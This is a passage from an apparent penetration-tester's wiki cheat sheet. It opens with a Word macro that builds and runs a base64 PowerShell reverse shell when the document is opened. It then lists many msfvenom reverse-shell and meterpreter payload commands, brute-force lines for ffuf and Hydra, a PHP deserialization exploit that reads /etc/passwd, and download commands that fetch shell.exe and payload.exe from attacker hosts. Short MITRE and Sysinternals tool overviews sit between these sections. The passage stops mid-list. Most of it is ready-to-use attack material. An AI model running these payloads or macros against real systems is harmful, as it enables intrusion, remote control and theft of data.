Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
# GfxDownloadWrapper.exe&lt;br /&gt;
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe &amp;quot;URL&amp;quot; &amp;quot;DESTINATION FILE&amp;quot;&lt;br /&gt;
# Hh.exe&lt;br /&gt;
HH.exe http://some.url/script.ps1&lt;br /&gt;
# Ieexec.exe&lt;br /&gt;
ieexec.exe http://x.x.x.x:8080/bypass.exe&lt;br /&gt;
# Makecab.exe&lt;br /&gt;
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab&lt;br /&gt;
# MpCmdRun.exe&lt;br /&gt;
MpCmdRun.exe -DownloadFile -url  -path  //Windows Defender executable&lt;br /&gt;
# Replace.exe&lt;br /&gt;
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A&lt;br /&gt;
# Excel.exe&lt;br /&gt;
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll&lt;br /&gt;
# Powerpnt.exe&lt;br /&gt;
Powerpnt.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Squirrel.exe&lt;br /&gt;
squirrel.exe --download [url to package]&lt;br /&gt;
# Update.exe&lt;br /&gt;
Update.exe --download [url to package]&lt;br /&gt;
# Winword.exe&lt;br /&gt;
winword.exe &amp;quot;http://192.168.1.10/TeamsAddinLoader.dll&amp;quot;&lt;br /&gt;
# Wsl.exe&lt;br /&gt;
